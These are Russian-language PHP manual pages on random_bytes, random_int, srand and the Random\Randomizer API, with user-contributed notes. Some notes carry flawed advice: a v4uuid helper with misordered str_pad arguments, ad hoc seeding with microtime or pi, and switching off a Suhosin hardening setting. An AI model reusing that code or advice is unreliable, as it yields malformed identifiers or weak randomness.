Поскольку возвращаемые байты выбираются совершенно случайно, полученная строка может содержать непечатаемые символы или недопустимые последовательности UTF-8. Может потребоваться её кодирование перед передачей или отображением.

Случайная последовательность, создаваемая функцией, подходит для всех приложений, включая генерацию долгосрочных секретов, таких как ключи шифрования.

Источники случайных величин в порядке приоритета:

  • Linux: » getrandom(), /dev/urandom

  • FreeBSD >= 12 (PHP >= 7.3): » getrandom(), /dev/urandom

  • Windows (PHP >= 7.2): » CNG-API

    Windows: » CryptGenRandom

  • macOS (PHP >= 8.2; >= 8.1.9; >= 8.0.22, если CCRandomGenerateBytes доступен во время компиляции): CCRandomGenerateBytes()

    macOS (PHP >= 8.1; >= 8.0.2): arc4random_buf(), /dev/urandom

  • NetBSD >= 7 (PHP >= 7.1; >= 7.0.1): arc4random_buf(), /dev/urandom

  • OpenBSD >= 5.5 (PHP >= 7.1; >= 7.0.1): arc4random_buf(), /dev/urandom

  • DragonflyBSD (PHP >= 8.1): » getrandom(), /dev/urandom

  • Solaris (PHP >= 8.1): » getrandom(), /dev/urandom

  • Любая комбинация операционной системы и версии PHP, не указанная ранее: /dev/urandom
  • Если ни один из источников не доступен или все они не генерируют случайную величину, то будет выброшено исключение Random\RandomException.

Замечание: Эта функция была добавлена в PHP 7.0, а для версий с 5.2 по 5.6 включительно доступна » пользовательская реализация.

Список параметров

length

Длина генерируемой строки в байтах; должно быть 1 или больше.

Возвращаемые значения

Возвращает строку, состоящую из заданного количества криптографически безопасных байт.

Ошибки

  • Если подходящие источники случайных величин отсутствуют, то выбрасывается исключение Random\RandomException.
  • Если значение параметра length меньше 1, будет выброшена ошибка ValueError.

Список изменений

Версия | Описание
8.2.0 | В случае возникновения ошибки CSPRNG, функция теперь будет выбрасывать исключение Random\RandomException. Ранее выбрасывалось исключение Exception.

Примеры

Пример #1 Пример использования random_bytes()

<?php
$bytes = random_bytes(5);
var_dump(bin2hex($bytes));
?>

Результатом выполнения данного примера будет что-то подобное:

string(10) "385e33f741"

Смотрите также

  • Random\Randomizer::getBytes() - Получает случайные байты
  • random_int() - Получает криптографически безопасное, равномерно выбранное целое число
  • bin2hex() - Преобразует бинарные данные в шестнадцатеричное представление
  • base64_encode() - Кодирует данные в формат MIME base64

User Contributed Notes

ccbsschucko at gmail dot com 25-May-2018 12:06
<?php
    function str_rand(int $length = 64){ // 64 = 32
        $length = ($length < 4) ? 4 : $length;
        return bin2hex(random_bytes(($length-($length%2))/2));
    }

    var_dump(str_rand());
    // d6199909d0b5fdc22c9db625e4edf0d6da2b113b21878cde19e96f4afe69e714
?>


Получает криптографически безопасное, равномерно выбранное целое число

  • « random_bytes
  • srand »
  • PHP Manual
  • Функции Random
  • Получает криптографически безопасное, равномерно выбранное целое число

random_int

(PHP 7, PHP 8)

random_int — Получает криптографически безопасное, равномерно выбранное целое число

Описание

random_int(int $min, int $max): int

Создаёт равномерно выбранное целое число между заданными минимумом и максимумом.

Случайная последовательность, создаваемая функцией, подходит для всех приложений, включая генерацию долгосрочных секретов, таких как ключи шифрования.

Источники случайных величин в порядке приоритета:

  • Linux: » getrandom(), /dev/urandom

  • FreeBSD >= 12 (PHP >= 7.3): » getrandom(), /dev/urandom

  • Windows (PHP >= 7.2): » CNG-API

    Windows: » CryptGenRandom

  • macOS (PHP >= 8.2; >= 8.1.9; >= 8.0.22, если CCRandomGenerateBytes доступен во время компиляции): CCRandomGenerateBytes()

    macOS (PHP >= 8.1; >= 8.0.2): arc4random_buf(), /dev/urandom

  • NetBSD >= 7 (PHP >= 7.1; >= 7.0.1): arc4random_buf(), /dev/urandom

  • OpenBSD >= 5.5 (PHP >= 7.1; >= 7.0.1): arc4random_buf(), /dev/urandom

  • DragonflyBSD (PHP >= 8.1): » getrandom(), /dev/urandom

  • Solaris (PHP >= 8.1): » getrandom(), /dev/urandom

  • Любая комбинация операционной системы и версии PHP, не указанная ранее: /dev/urandom
  • Если ни один из источников не доступен или все они не генерируют случайную величину, то будет выброшено исключение Random\RandomException.

Замечание: Эта функция была добавлена в PHP 7.0, а для версий с 5.2 по 5.6 включительно доступна » пользовательская реализация.

Список параметров

min

Нижняя граница диапазона.

max

Верхняя граница диапазона.

Возвращаемые значения

Криптографически безопасное, равномерно выбранное целое число из замкнутого интервала [min, max]. Возможными возвращаемыми значениями являются min и max.

Ошибки

  • Если подходящие источники случайных величин отсутствуют, то выбрасывается исключение Random\RandomException.
  • Если задать max меньше чем min, то будет выброшено исключение класса ValueError.

Список изменений

Версия | Описание
8.2.0 | В случае возникновения ошибки CSPRNG, функция теперь будет выбрасывать исключение Random\RandomException. Ранее выбрасывалось исключение Exception.

Примеры

Пример #1 Пример использования random_int()

<?php
var_dump(random_int(100, 999));
var_dump(random_int(-1000, 0));
?>

Результатом выполнения данного примера будет что-то подобное:

int(248)
int(-898)

Смотрите также

  • Random\Randomizer::getInt() - Получает равномерно выбранное целое число
  • random_bytes() - Получает криптографически безопасные случайные байты

User Contributed Notes

Hayley Watson 02-Sep-2023 12:51
A small function for generating version 4 GUIDs.

<?php
function v4uuid()
{
    $a = str_pad(dechex(random_int(0x0000_0000, 0xffff_ffff)), '0', STR_PAD_LEFT);
    $b = str_pad(dechex(random_int(0x0000, 0xffff)), '0', STR_PAD_LEFT);
    $c = dechex(random_int(0x4000, 0x4fff));
    $d = dechex(random_int(0x8000, 0xbfff));
    $e = str_pad(dechex(random_int(0x0000_0000_0000, 0xffff_ffff_ffff)), '0', STR_PAD_LEFT);
    return "$a-$b-$c-$d-$e";
}
?>
bens at effortlessis dot com 05-Sep-2020 04:21
On my system (5th gen i7) random_int() takes about 14x longer to do the same number of calculations than rand().

for ($i=0; $i<10000000; $i++)
        $x = rand(1, PHP_INT_MAX);

Takes 0.86 seconds for rand(), 12.29 seconds for random_int(). So use random_int() somewhat sparingly.

If it's not really important to be truly random, use rand() instead, especially in a tight loop.
ccb_bc at hotmail dot com 04-Jul-2019 03:02
<?php
    // PHP >= 7
    function str_rand(int $length = 16){
        $x = '';
        for($i = 1; $i <= $length; $i++){
            $x .= dechex(random_int(0,255));
        }
        return substr($x, 0, $length);
    }
    var_dump(str_rand());
?>
s rotondo90 at gmail com 30-Jul-2016 01:11
Here is a simple backporting function, it works for PHP >= 5.1

<?php
if (!function_exists('random_int')) {
    function random_int($min, $max) {
        if (!function_exists('mcrypt_create_iv')) {
            trigger_error(
                'mcrypt must be loaded for random_int to work',
                E_USER_WARNING
            );
            return null;
        }

        if (!is_int($min) || !is_int($max)) {
            trigger_error('$min and $max must be integer values', E_USER_NOTICE);
            $min = (int)$min;
            $max = (int)$max;
        }

        if ($min > $max) {
            trigger_error('$max can\'t be lesser than $min', E_USER_WARNING);
            return null;
        }

        $range = $counter = $max - $min;
        $bits = 1;

        while ($counter >>= 1) {
            ++$bits;
        }

        $bytes = (int)max(ceil($bits/8), 1);
        $bitmask = pow(2, $bits) - 1;

        if ($bitmask >= PHP_INT_MAX) {
            $bitmask = PHP_INT_MAX;
        }

        do {
            $result = hexdec(
                bin2hex(
                    mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM)
                )
            ) & $bitmask;
        } while ($result > $range);

        return $result + $min;
    }
}
?>

Randomness test

<?php
$max = 100; // number of random values
$test = 1000000;

$array = array_fill(0, $max, 0);

for ($i = 0; $i < $test; ++$i) {
    ++$array[random_int(0, $max-1)];
}

function arrayFormatResult(&$item) {
    global $test, $max; // try to avoid this nowdays ;)

    $perc = ($item/($test/$max))-1;
    $item .= ' '. number_format($perc, 4, '.', '') .'%';
}

array_walk($array, 'arrayFormatResult');

print_r($array);
?>


Изменяет начальное число генератора псевдослучайных чисел

  • « random_int
  • Random\Randomizer »
  • PHP Manual
  • Функции Random
  • Изменяет начальное число генератора псевдослучайных чисел

srand

(PHP 4, PHP 5, PHP 7, PHP 8)

srand — Изменяет начальное число генератора псевдослучайных чисел

Описание

srand(int $seed = 0, int $mode = MT_RAND_MT19937): void

Устанавливает начальное число генератора случайных чисел равным seed или случайному числу, если seed равен 0.

Замечание: Нет необходимости инициализировать генератор случайных чисел функциями srand() или mt_srand(), поскольку это происходит автоматически.

Предостережение

Поскольку механизм Mt19937 ("Mersenne Twister") принимает в качестве значения только одно 32-битное целое число, количество возможных случайных последовательностей ограничено всего 232 (то есть 4 294 967 296), несмотря на огромный период Mt19937, равный 219937-1.

Если полагаться на неявное или явное случайное значение, дубликаты появятся гораздо раньше. Дублированные значения ожидаются с 50% вероятностью после менее чем 80 000 случайно сгенерированных значений в соответствии с проблемой дня рождения. Вероятность дублирования значений составляет 10% после случайной генерации примерно 30 000 значений.

Это делает Mt19937 непригодным для применения в тех случаях, когда дублирование последовательностей не должно происходить с более чем ничтожной вероятностью. Если требуется воспроизводимое значение, то движки Random\Engine\Xoshiro256StarStar и Random\Engine\PcgOneseq128XslRr64 поддерживают гораздо большие значения, которые вряд ли столкнутся случайно. Если воспроизводимость не требуется, механизм Random\Engine\Secure обеспечивает криптографически безопасную случайную последовательность.

Замечание: Начиная с PHP 7.1.0, srand() стала синонимом функции mt_srand().

Список параметров

seed

Произвольное целочисленное (int) начальное значение генератора

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
7.1.0 | srand() стала синонимом функции mt_srand().

Смотрите также

  • rand() - Генерирует случайное число
  • getrandmax() - Возвращает максимально возможное случайное число
  • mt_srand() - Проинициализирует генератор случайных чисел на базе Вихря Мерсенна

User Contributed Notes

Glauco Lins 09-Sep-2015 11:09
srand and mt_srand are both initialized only once per process ID.

You cannot re-seed your rand algorithms after the first "srand", "mt_srand", "rand", "mt_rand", "shuffle", or any other rand-like function.

I have been facing an issue where after forking my process, all childs were generating exactly the same rand values.
This was due a first "shuffle" call on the parent process, so I could not re-seed the childs.

To solve my issue, I simple called "rand" N times, to offset the child rand generators.

# Offset the child rand generator by its PID
$n = (getmypid() % 100) * (10 * abs(microtime(true) - time()));
for ($n; $n > 0; $n--) {
      rand(0, $n);
}

Since each pcntl_fork takes a while to be completed, the microtime offers an extra offset, other than one PID increment.

This small code will make at the WORST hypothesis 1000 iterations.
Niels Keurentjes 25-Feb-2011 05:22
Keep in mind that the Suhosin patch which is installed by default on many PHP-installs such as Debian and DirectAdmin completely disables the srand and mt_srand functions for encryption security reasons. To generate reproducible random numbers from a fixed seed on a Suhosin-hardened server you will need to include your own pseudorandom generator code.
harmen at no dot spam dot rdzl dot nl 10-Apr-2009 10:53
To generate a random number which is different every day, I used the number of days after unix epoch as a seed:

<?php
   srand(floor(time() / (60*60*24)));
   echo rand() % 100;
?>

My provider upgraded the php server recently, and calling srand(seed) does not seem to set the seed anymore. To let srand set the seed, add the following line to your .htaccess file

php_value suhosin.srand.ignore 0

Kudos to doc_z (http://www.webmasterworld.com/php/3777515.htm)

Harmen
bootc at bootc dot net 06-Jun-2005 08:03
OK, to summarize what people have been saying so far:

1. DO NOT seed the RNG more than once if you can help it!
2. You HAVE TO seed the RNG yourself if you are using PHP < 4.2.0.
3. Using a prime multiplier to microtime() probably does very little. Use the Mersenne Twister instead.
4. You can use the Mersenne Twister PRNG with the mt_rand and mt_srand functions. This is faster and is more random.
edublancoa at gmail dot com 23-Dec-2004 01:39
Another use of srand is to obtain the same value of rand in a determined time interval. Example: you have an array of 100 elements and you need to obtain a random item every day but not to change in the 24h period (just imagine "Today's Photo" or similar).
<?php
$seed = floor(time()/86400);
srand($seed);
$item = $examplearray[rand(0,99)];
?>
You obtain the same value every time you load the page all the 24h period.
mlwmohawk at mohawksoft dot com 02-Nov-2001 07:51
srand() is pretty tricky to get right. You should never seed a random number generator more than once per php process, if you do, your randomness is limited to the source of your seed.

The microtime function's micro-seconds portion has a very finite resolution, that is why the make_seed function was added to the document. You should never get the same seed twice.

In the later CVS versions, PHP will seed the random generator prior to performing a rand() if srand() was not previously called.
14-Aug-2001 10:14
I have a ramdon circulater that changes a piece of text once a day, and I use the following code to make sure the see is unique enough.

$tm = time();
$today = mktime(0, 0, 0, (int)date("n", $tm), (int)date("j", $tm), (int)date("Y", $tm));
srand($today / pi());

The pi works wonders for the whole thing and it works like a charm. Any other big decimal number will do as well, but pi is the most common "big" number.
akukula at min dot pl 14-Aug-2001 07:14
Calling srand((double)microtime()*1000000),
then $a=rand(1000000,9999999), then srand((double)microtime()*$a)
adds nothing to the entrophy: the execution time of rand and srand is
constant, so the second microtime() produces nothing really fascinating. You may safely use just the first srand().
rjones at ditzed dot org 29-May-2001 12:02
As a sidenote on the usage of srand():

If you are making use of modular programming, it is probably better to try and call the srand routine from the parent script than from any modules you may be using (using REQUIRE or INCLUDE).
This way you get around the possibility of calling srand() more than once from different modules.

The flaw in this solution, of course, is when using modules produced by another programmer, or when producing modules for another programmer.
You cannot rely on another programmer calling the srand function before calling the modular function, so you would have to include the srand function inside the module in this case.

If you produce modules for use by other programmers then it is good practice to documentise the fact you have already called the srand function.
Or if you use a modular function produced by someone else, check their documentation, or check their source code.
rjones at ditzed dot org 29-May-2001 11:41
Use the srand() seed "(double)microtime()*1000000" as mentioned by the richard@zend.com at the top of these user notes.

The most notable effect of using any other seed is that your random numbers tend to follow the same, or very similar, sequences each time the script is invoked.

Take note of the following script:

<?php
  srand($val);

  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20);
?>

If you seed the generator with a constant, say; the number 5 ($val = 5), then the sequence generated is always the same, in this case (0, 18, 7, 15, 17) (for me at least, different processors/processor speeds/operating systems/OS releases/PHP releases/webserver software may generate different sequences).

If you seed the generator with time(), then the sequence is more random, but invokations that are very close together will have similar outputs.

As richard@zend.com above suggests, the best seed to use is (double) microtime() * 1000000, as this gives the greatest amount of psuedo-randomness. In fact, it is random enough to suit most users.
In a test program of 100000 random numbers between 1 and 20, the results were fairly balanced, giving an average of 5000 results per number, give or take 100. The deviation in each case varied with each invokation.
MakeMoolah at themail dot com 28-Jan-2001 03:16
Sorry about that...  ok, forget have of what I said up there ^.

The code that would prove my example is this:

<?php
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
?>

Each time you SHOULD get the same answer, but if you did this:

<?php
srand(5);
echo(rand(1, 10));
echo(rand(1, 10));
echo(rand(1, 10));
?>

then the answers would be different, and you'd be letting the random number formula do it's duty.
hagen at von-eitzen dot de 10-Oct-2000 03:51
It is REALLY essential to make sure that srand is called only once.
This is a bit difficult if the call is hidden somewhere in third-party code you include. For example, I used a standard banner script that *seemed* to work well putting
three random banners in one frame. But in the long run, the choice appeared
somewhat biased - probably because srand was called once per banner, not
once per run.
It would be nice if the random number generator worked like in PERL: If You use the random function without having called srand ever before in a script,
srand is invoked before (and automatically with a nice seed, hopefully).
I suggest that one should do something like this:

<?php
if (!$GLOBALS["IHaveCalledSrandBefore"]++) {
  srand((double) microtime() * 1000000);
}
?>

(Depending on the situation, one might also work with a static variable instead)


Класс Random\Randomizer

(PHP 8 >= 8.2.0)

Введение

Предоставляет высокоуровневый API для случайности, обеспечиваемой классом Random\Engine.

Обзор классов

final class Random\Randomizer {
/* Свойства */
public readonly Random\Engine $engine;
/* Методы */
public __construct(?Random\Engine $engine = null)
public getBytes(int $length): string
public getBytesFromString(string $string, int $length): string
public getFloat(float $min, float $max, Random\IntervalBoundary $boundary = Random\IntervalBoundary::ClosedOpen): float
public getInt(int $min, int $max): int
public nextFloat(): float
public nextInt(): int
public pickArrayKeys(array $array, int $num): array
public __serialize(): array
public shuffleArray(array $array): array
public shuffleBytes(string $bytes): string
public __unserialize(array $data): void
}

Свойства

engine

Низкоуровневый источник случайной последовательности для методов Random\Randomizer.

Содержание

  • Random\Randomizer::__construct — Создаёт новый объект Randomizer
  • Random\Randomizer::getBytes — Получает случайные байты
  • Random\Randomizer::getBytesFromString — Get random bytes from a source string
  • Random\Randomizer::getFloat — Get a uniformly selected float
  • Random\Randomizer::getInt — Получает равномерно выбранное целое число
  • Random\Randomizer::nextFloat — Get a float from the right-open interval [0.0, 1.0)
  • Random\Randomizer::nextInt — Получает целое положительное число
  • Random\Randomizer::pickArrayKeys — Выбирает случайные ключи массива
  • Random\Randomizer::__serialize — Сериализует объект Randomizer
  • Random\Randomizer::shuffleArray — Получает перестановку массива
  • Random\Randomizer::shuffleBytes — Получает байтовую перестановку строки
  • Random\Randomizer::__unserialize — Десериализует параметр data в объект Randomizer

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект Randomizer

  • « Random\Randomizer
  • Random\Randomizer::getBytes »
  • PHP Manual
  • Random\Randomizer
  • Создаёт новый объект Randomizer

Random\Randomizer::__construct

(PHP 8 >= 8.2.0)

Random\Randomizer::__construct — Создаёт новый объект Randomizer

Описание

public Random\Randomizer::__construct(?Random\Engine $engine = null)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

engine

Класс Random\Engine, который будет использоваться для генерации случайной последовательности.

Если параметр engine опущен или null, будет использоваться объект Random\Engine\Secure.

Примеры

Пример #1 Пример использования Random\Randomizer::__construct()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Получает случайные байты

  • « Random\Randomizer::__construct
  • Random\Randomizer::getBytesFromString »
  • PHP Manual
  • Random\Randomizer
  • Получает случайные байты

Random\Randomizer::getBytes

(PHP 8 >= 8.2.0)

Random\Randomizer::getBytes — Получает случайные байты

Описание

public Random\Randomizer::getBytes(int $length): string

Создаёт строку, содержащую равномерно выбранные случайные байты с запрошенной длиной length.

Поскольку возвращаемые байты выбираются совершенно случайно, полученная строка может содержать непечатаемые символы или недопустимые последовательности UTF-8. Может потребоваться её кодирование перед передачей или отображением.

Список параметров

length

Длина случайной строки (string), которая должна быть возвращена, в байтах. Значение должно быть больше или равно 1.

Возвращаемые значения

Возвращает строку (string), содержащую запрошенное количество случайных байтов.

Ошибки

  • Если значение параметра length меньше 1, будет выброшена ошибка ValueError.
  • Любые Throwable, выбрасываемые методом Random\Engine::generate() базового Random\Randomizer::$engine.

Примеры

Пример #1 Пример использования Random\Randomizer::getBytes()

<?php

$r = new \Random\Randomizer();

echo bin2hex($r->getBytes(8)), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

ebdbe93cd56682c2

Смотрите также

  • random_bytes() - Получает криптографически безопасные случайные байты
  • bin2hex() - Преобразует бинарные данные в шестнадцатеричное представление
  • base64_encode() - Кодирует данные в формат MIME base64
  • Random\Randomizer::getBytesFromString() - Get random bytes from a source string

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes from a source string

  • « Random\Randomizer::getBytes
  • Random\Randomizer::getFloat »
  • PHP Manual
  • Random\Randomizer
  • Get random bytes from a source string

Random\Randomizer::getBytesFromString

(PHP 8 >= 8.3.0)

Random\Randomizer::getBytesFromString — Get random bytes from a source string

Описание

public Random\Randomizer::getBytesFromString(string $string, int $length): string

Generates a string containing uniformly selected random bytes from the input string with the requested length.

The chance for a byte to be selected is proportional to its share of the input string. If each byte occurs the same amount of times, each byte is equally likely to be selected.

Список параметров

string

The string from which the returned bytes are selected.

length

The length of the random string that should be returned in bytes; must be 1 or greater.

Возвращаемые значения

A string containing the requested number of random bytes taken from the input string.

Ошибки

  • If string is empty, a ValueError will be thrown.
  • If the value of length is less than 1, a ValueError will be thrown.
  • Любые Throwable, выбрасываемые методом Random\Engine::generate() базового Random\Randomizer::$engine.

Примеры

Пример #1 Random\Randomizer::getBytesFromString() example

<?php
$randomizer = new \Random\Randomizer();

printf(
"%s.example.com",
$randomizer->getBytesFromString('abcdefghijklmnopqrstuvwxyz0123456789', 16)
);
?>

Результатом выполнения данного примера будет что-то подобное:

3zsw04eiubcf82jd.example.com

Пример #2 Generate a random code for multi-factor authentication

<?php
// The Secure engine is the default, but we make it explicit, because
// multi-factor codes are security sensitive.
$randomizer = new \Random\Randomizer(new \Random\Engine\Secure());

echo implode('-', str_split($randomizer->getBytesFromString('0123456789', 20), 5));
?>

Результатом выполнения данного примера будет что-то подобное:

11551-80418-27047-42075

Пример #3 Select from a string with a non-uniform distribution

<?php
$randomizer = new \Random\Randomizer();

echo $randomizer->getBytesFromString('aaaaabcdef', 20);
?>

Результатом выполнения данного примера будет что-то подобное:

fddacbeaaeaaacaaaaca

Смотрите также

  • Random\Randomizer::getBytes() - Получает случайные байты

User Contributed Notes

There are no user contributed notes for this page.


Get a uniformly selected float

  • « Random\Randomizer::getBytesFromString
  • Random\Randomizer::getInt »
  • PHP Manual
  • Random\Randomizer
  • Get a uniformly selected float

Random\Randomizer::getFloat

(PHP 8 >= 8.3.0)

Random\Randomizer::getFloat — Get a uniformly selected float

Описание

public Random\Randomizer::getFloat(float $min, float $max, Random\IntervalBoundary $boundary = Random\IntervalBoundary::ClosedOpen): float

Returns a uniformly selected, equidistributed float from a requested interval.

Due to the limited precision, not all real numbers can be exactly represented as a floating point number. If a number cannot be represented exactly, it is rounded to the nearest representable exact value. Furthermore, floats are not equally dense across the whole number line. Because floats use a binary exponent, the distance between two neighboring floats doubles at each power of two. In other words: There are the same number of representable floats between 1.0 and 2.0 as they are between 2.0 and 4.0, 4.0 and 8.0, 8.0 and 16.0, and so on.

Randomly sampling an arbitrary number within the requested interval, for example by dividing two integers, might result in a biased distribution for this reason. The necessary rounding will cause some floats to be returned more often than others, especially around powers of two when the density of floats changes.

Random\Randomizer::getFloat() implements an algorithm that will return a uniformly selected float from the largest possible set of exactly representable and equidistributed floats within the requested interval. The distance between the selectable floats ("step size") matches the distance between the floats with the lowest density, i.e. the distance between floats at interval boundary with the larger absolute value. This means that not all representable floats within a given interval may be returned if the interval crosses one or more powers of two. Stepping will start from the interval boundary with the larger absolute value to ensure the steps align with the exactly representable floats.

Closed interval boundaries will always be included in the set of selectable floats. Thus, if the size of the interval is not an exact multiple of the step size and the boundary with the smaller absolute value is a closed boundary, the distance between that boundary and its nearest selectable float will be smaller than the step size.

Предостережение

Post-processing the returned floats is likely going to break the uniform equidistribution, because the intermediate floats within a mathematical operation are experiencing implicit rounding. The requested interval should match the desired interval as closely as possible and rounding should only be performed as an explicit operation right before displaying the selected number to a user.

Explanation of the Algorithm Using Example Values

To give an example of how the algorithm works, consider a floating point representation that uses a 3-bit mantissa. This representation is capable of representing 8 different floating point values between consecutive powers of two. This means that between 1.0 and 2.0 all steps of size 0.125 are exactly representable and between 2.0 and 4.0 all steps of size 0.25 are exactly representable. In reality PHP's floats use a 52-bit mantissa and can represent 252 different values between each power of two. This means that

  • 1.0
  • 1.125
  • 1.25
  • 1.375
  • 1.5
  • 1.625
  • 1.75
  • 1.875
  • 2.0
  • 2.25
  • 2.5
  • 2.75
  • 3.0
  • 3.25
  • 3.5
  • 3.75
  • 4.0
are the exactly representable floats between 1.0 and 4.0.

Now consider that $randomizer->getFloat(1.625, 2.5, IntervalBoundary::ClosedOpen) is called, i.e. a random float starting at 1.625 until, but not including, 2.5 is requested. The algorithm first determines the step size at the boundary with the larger absolute value (2.5). The step size at that boundary is 0.25.

Note that the size of the requested interval is 0.875, which is not an exact multiple of 0.25. If the algorithm would start stepping at the lower bound 1.625, it would encounter 2.125, which is not exactly representable and would experience implicit rounding. Thus the algorithm starts stepping at the upper boundary 2.5. The selectable values are:

  • 2.25
  • 2.0
  • 1.75
  • 1.625
2.5 is not included, because the upper boundary of the requested interval is an open boundary. 1.625 is included, even though its distance to the nearest value 1.75 is 0.125, which is smaller than the previously determined step size of 0.25. The reason for that is that the requested interval is closed at the lower boundary (1.625) and closed boundaries are always included.

Finally the algorithm uniformly selects one of the four selectable values at random and returns it.

Why Dividing Two Integers Does Not Work

In the previous example, there are eight representable floating point numbers between each sub-interval delimited by a power of two. To give an example why dividing two integers would not work well to generate a random float, consider that there are 16 equidistributed floating point numbers in the right-open interval from 0.0 until, but not including, 1.0. Half of them are the eight exactly representable values between 0.5 and 1.0, the other half are the values between 0.0 and 1.0 that the step size of 0.0625. These can easily be generated by dividing a random integer between 0 and 15 by 16 to obtain one of:

  • 0.0
  • 0.0625
  • 0.125
  • 0.1875
  • 0.25
  • 0.3125
  • 0.375
  • 0.4375
  • 0.5
  • 0.5625
  • 0.625
  • 0.6875
  • 0.75
  • 0.8125
  • 0.875
  • 0.9375

This random float could be scaled to right-open interval from 1.625 until, but not including, 2.75 by multiplying it with the size of the interval (0.875) and adding the minimum 1.625. This so-called affine transformation would result in the values:

  • 1.625 rounded to 1.625
  • 1.679 rounded to 1.625
  • 1.734 rounded to 1.75
  • 1.789 rounded to 1.75
  • 1.843 rounded to 1.875
  • 1.898 rounded to 1.875
  • 1.953 rounded to 2.0
  • 2.007 rounded to 2.0
  • 2.062 rounded to 2.0
  • 2.117 rounded to 2.0
  • 2.171 rounded to 2.25
  • 2.226 rounded to 2.25
  • 2.281 rounded to 2.25
  • 2.335 rounded to 2.25
  • 2.390 rounded to 2.5
  • 2.445 rounded to 2.5
Note how the upper boundary of 2.5 would be returned, despite being an open boundary and thus being excluded. Also note how 2.0 and 2.25 are twice as likely to be returned compared to the other values.

Список параметров

min

The lower bound of the interval.

max

The upper bound of the interval.

boundary

Specifies whether the interval boundaries are possible return values.

Возвращаемые значения

A uniformly selected, equidistributed float from the interval specified by min, max, and boundary. Whether min and max are possible return values depends on the value of boundary.

Ошибки

  • If the value of min is not finite (is_finite()), a ValueError will be thrown.
  • If the value of max is not finite (is_finite()), a ValueError will be thrown.
  • If the requested interval does not contain any values, a ValueError will be thrown.
  • Любые Throwable, выбрасываемые методом Random\Engine::generate() базового Random\Randomizer::$engine.

Примеры

Пример #1 Random\Randomizer::getFloat() example

<?php
$randomizer = new \Random\Randomizer();

// Note that the latitude granularity is double the
// longitude's granularity.
//
// For the latitude the value may be both -90 and 90.
// For the longitude the value may be 180, but not -180, because
// -180 and 180 refer to the same longitude.
printf(
"Lat: %+.6f Lng: %+.6f",
$randomizer->getFloat(-90, 90, \Random\IntervalBoundary::ClosedClosed),
$randomizer->getFloat(-180, 180, \Random\IntervalBoundary::OpenClosed),
);
?>

Результатом выполнения данного примера будет что-то подобное:

Lat: +69.244304 Lng: -53.548951

Примечания

Замечание:

This method implements the ?-section algorithm as published in » Drawing Random Floating-Point Numbers from an Interval. Frederic Goualard, ACM Trans. Model. Comput. Simul., 32:3, 2022 to obtain the desired behavioral properties.

Смотрите также

  • Random\Randomizer::nextFloat() - Get a float from the right-open interval [0.0, 1.0)
  • Random\Randomizer::getInt() - Получает равномерно выбранное целое число

User Contributed Notes

There are no user contributed notes for this page.


Получает равномерно выбранное целое число

  • « Random\Randomizer::getFloat
  • Random\Randomizer::nextFloat »
  • PHP Manual
  • Random\Randomizer
  • Получает равномерно выбранное целое число

Random\Randomizer::getInt

(PHP 8 >= 8.2.0)

Random\Randomizer::getInt — Получает равномерно выбранное целое число

Описание

public Random\Randomizer::getInt(int $min, int $max): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

min

Наименьшее возвращаемое значение.

max

Наибольшее возвращаемое значение.

Возвращаемые значения

Возвращает равномерно выбранное целое число из замкнутого интервала [min, max]. Возможными возвращаемыми значениями являются как min, так и max.

Ошибки

  • Если max меньше, чем min, будет выброшена ошибка ValueError.
  • Любые Throwable, выбрасываемые методом Random\Engine::generate() базового Random\Randomizer::$engine.

Примеры

Пример #1 Пример использования Random\Randomizer::getInt()

<?php
$r = new \Random\Randomizer();

// Случайное целое число в диапазоне:
echo $r->getInt(1, 100), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

...

Смотрите также

  • random_int() - Получает криптографически безопасное, равномерно выбранное целое число
  • Random\Randomizer::getFloat() - Get a uniformly selected float

User Contributed Notes

There are no user contributed notes for this page.


Get a float from the right-open interval [0.0, 1.0)

  • « Random\Randomizer::getInt
  • Random\Randomizer::nextInt »
  • PHP Manual
  • Random\Randomizer
  • Get a float from the right-open interval [0.0, 1.0)

Random\Randomizer::nextFloat

(PHP 8 >= 8.3.0)

Random\Randomizer::nextFloat — Get a float from the right-open interval [0.0, 1.0)

Описание

public Random\Randomizer::nextFloat(): float

Returns a uniformly selected, equidistributed float from the right-open interval from 0.0 until, but not including, 1.0.

The chance for returned float to be within a given right-open sub-interval is proportial to the size of the sub-interval. This means that the chance for a float to be less than 0.5 is 50 %, which is equal to the chance for a float to be at least 0.5. Likewise the chance for a float to be within the right-open interval from 0.2 until, but not including, 0.25 is exactly 5 %.

This property makes it easy to leverage Random\Randomizer::nextFloat() to generate a random boolean with a given chance by checking if the returned float is less than a given chance.

Замечание:

The domain of the returnable floats of Random\Randomizer::nextFloat() is identical to that of Randomizer::getFloat(0.0, 1.0, IntervalBoundary::ClosedOpen).

The internal implementation of Random\Randomizer::nextFloat() is more efficient.

Предостережение

Scaling the return value to a different interval using multiplication or addition (a so-called affine transformation) might result in a bias in the resulting value as floats are not equally dense across the number line. As not all values can be exactly represented by a float, the result of the affine transformation might also result in values outside of the requested interval due to implicit rounding. An in-depth explanation of the problems with the affine transformation is given in the documentation for Random\Randomizer::getFloat().

Use Random\Randomizer::getFloat() to generate a random float within an arbitrary interval. Use Random\Randomizer::getInt() to generate a random integer within an arbitrary interval.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

A uniformly selected, equidistributed float from the right-open (IntervalBoundary::ClosedOpen) interval [0.0, 1.0). 0.0 is a possible return value, 1.0 is not.

Ошибки

  • Любые Throwable, выбрасываемые методом Random\Engine::generate() базового Random\Randomizer::$engine.

Примеры

Пример #1 Random\Randomizer::nextFloat() example

<?php
$r = new \Random\Randomizer();

// The resulting bool will be true with the given chance.
$chance = 0.5;

$bool = $r->nextFloat() < $chance;

echo ($bool ? "You won" : "You lost"), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

You won

